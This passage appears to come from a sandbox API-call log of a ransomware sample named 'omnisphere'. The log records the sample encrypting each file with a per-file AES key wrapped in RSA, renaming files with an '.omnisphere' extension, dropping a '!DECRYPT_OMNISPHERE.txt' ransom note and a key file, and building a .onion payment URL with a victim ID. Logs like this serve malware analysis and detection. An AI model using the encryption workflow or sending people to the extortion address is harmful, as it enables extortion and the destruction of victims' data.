dwFlags=0x0, lpMem=0x1630d30 | out: hHeap=0x1600000) returned 1 [0118.026] GetProcessHeap () returned 0x1600000 [0118.026] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x166a4b8 | out: hHeap=0x1600000) returned 1 [0118.026] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x43f94523, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43f94523, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0xd3, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0118.026] GetProcessHeap () returned 0x1600000 [0118.026] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9e) returned 0x1656190 [0118.026] PathCombineW (in: pszDest=0x1656190, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="desktop.ini" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini" [0118.026] StrStrW (lpFirst=".omnisphere", lpSrch=".ini") returned 0x0 [0118.026] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.027] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=451) returned 1 [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.027] GetTickCount () returned 0x115d7fd [0118.028] GetTickCount () returned 0x115d7fd [0118.028] GetTickCount () returned 0x115d7fd [0118.028] GetTickCount () returned 0x115d7fd [0118.028] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668ac0) returned 1 [0118.028] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0118.028] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.028] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.028] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0118.028] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c3, lpName=0x0) returned 0x288 [0118.028] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c3) returned 0x1480000 [0118.029] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668928) returned 1 [0118.029] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639528) returned 1 [0118.029] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.029] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.029] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.029] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.029] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.029] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.029] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.030] CryptDestroyKey (hKey=0x1639528) returned 1 [0118.030] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0118.030] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x1c3, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.030] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.032] GetProcessHeap () returned 0x1600000 [0118.032] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ae) returned 0x169eba0 [0118.032] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\desktop.ini.omnisphere")) returned 1 [0118.032] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini.omnisphere.id" [0118.033] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\desktop.ini.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.034] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.035] CloseHandle (hObject=0x3c0) returned 1 [0118.036] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.036] CloseHandle (hObject=0x288) returned 1 [0118.036] SetEndOfFile (hFile=0x28c) returned 1 [0118.036] FlushFileBuffers (hFile=0x28c) returned 1 [0118.042] CloseHandle (hObject=0x28c) returned 1 [0118.042] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 1 [0118.042] GetProcessHeap () returned 0x1600000 [0118.042] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x169ee58 [0118.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.042] GetProcessHeap () returned 0x1600000 [0118.042] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693c10 [0118.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693c10, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.043] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.043] GetProcessHeap () returned 0x1600000 [0118.043] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1686e68 [0118.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1686e68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.043] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.043] GetProcessHeap () returned 0x1600000 [0118.043] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb6) returned 0x166a4b8 [0118.043] PathCombineW (in: pszDest=0x166a4b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\!DECRYPT_OMNISPHERE.txt" [0118.043] GetProcessHeap () returned 0x1600000 [0118.043] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16960c8 [0118.043] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.043] WriteFile (in: hFile=0x28c, lpBuffer=0x16960c8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16960c8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.043] CloseHandle (hObject=0x28c) returned 1 [0118.043] GetProcessHeap () returned 0x1600000 [0118.043] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x169ee58 | out: hHeap=0x1600000) returned 1 [0118.043] GetProcessHeap () returned 0x1600000 [0118.043] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x16317f8 [0118.044] PathCombineW (in: pszDest=0x16317f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\unique_decrypt.key" [0118.044] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.044] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.044] CloseHandle (hObject=0x28c) returned 1 [0118.044] GetProcessHeap () returned 0x1600000 [0118.044] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16317f8 | out: hHeap=0x1600000) returned 1 [0118.044] GetProcessHeap () returned 0x1600000 [0118.044] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656190 | out: hHeap=0x1600000) returned 1 [0118.044] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440c5760, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xce363c46, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce363c46, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x81d, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Documents.library-ms", cAlternateFileName="DOCUME~1.LIB")) returned 1 [0118.044] GetProcessHeap () returned 0x1600000 [0118.044] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x1630de8 [0118.044] PathCombineW (in: pszDest=0x1630de8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="Documents.library-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms" [0118.044] StrStrW (lpFirst=".omnisphere", lpSrch=".library-ms") returned 0x0 [0118.044] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\documents.library-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.045] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=2077) returned 1 [0118.045] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x2f9, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.045] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0118.046] GetTickCount () returned 0x115d80d [0118.046] GetTickCount () returned 0x115d80d [0118.046] GetTickCount () returned 0x115d80d [0118.046] GetTickCount () returned 0x115d80d [0118.046] GetTickCount () returned 0x115d80d [0118.046] GetTickCount () returned 0x115d80d [0118.046] GetTickCount () returned 0x115d80d [0118.046] GetTickCount () returned 0x115d80d [0118.046] GetTickCount () returned 0x115d80d [0118.046] GetTickCount () returned 0x115d80d [0118.046] GetTickCount () returned 0x115d80d [0118.046] GetTickCount () returned 0x115d80d [0118.046] GetTickCount () returned 0x115d80d [0118.046] GetTickCount () returned 0x115d80d [0118.046] GetTickCount () returned 0x115d80d [0118.046] GetTickCount () returned 0x115d80d [0118.047] GetTickCount () returned 0x115d80d [0118.047] GetTickCount () returned 0x115d80d [0118.047] GetTickCount () returned 0x115d80d [0118.047] GetTickCount () returned 0x115d80d [0118.047] GetTickCount () returned 0x115d80d [0118.047] GetTickCount () returned 0x115d80d [0118.047] GetTickCount () returned 0x115d80d [0118.047] GetTickCount () returned 0x115d80d [0118.047] GetTickCount () returned 0x115d80d [0118.047] GetTickCount () returned 0x115d80d [0118.047] GetTickCount () returned 0x115d80d [0118.047] GetTickCount () returned 0x115d80d [0118.047] GetTickCount () returned 0x115d80d [0118.047] GetTickCount () returned 0x115d80d [0118.047] GetTickCount () returned 0x115d80d [0118.047] GetTickCount () returned 0x115d80d [0118.047] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668ac0) returned 1 [0118.047] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 [0118.048] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.048] CryptDestroyKey (hKey=0x16394e8) returned 1 [0118.048] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0118.048] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x81d, lpName=0x0) returned 0x288 [0118.048] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x81d) returned 0x1480000 [0118.048] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668d68) returned 1 [0118.048] CryptImportKey (in: hProv=0x1668d68, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0118.049] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, 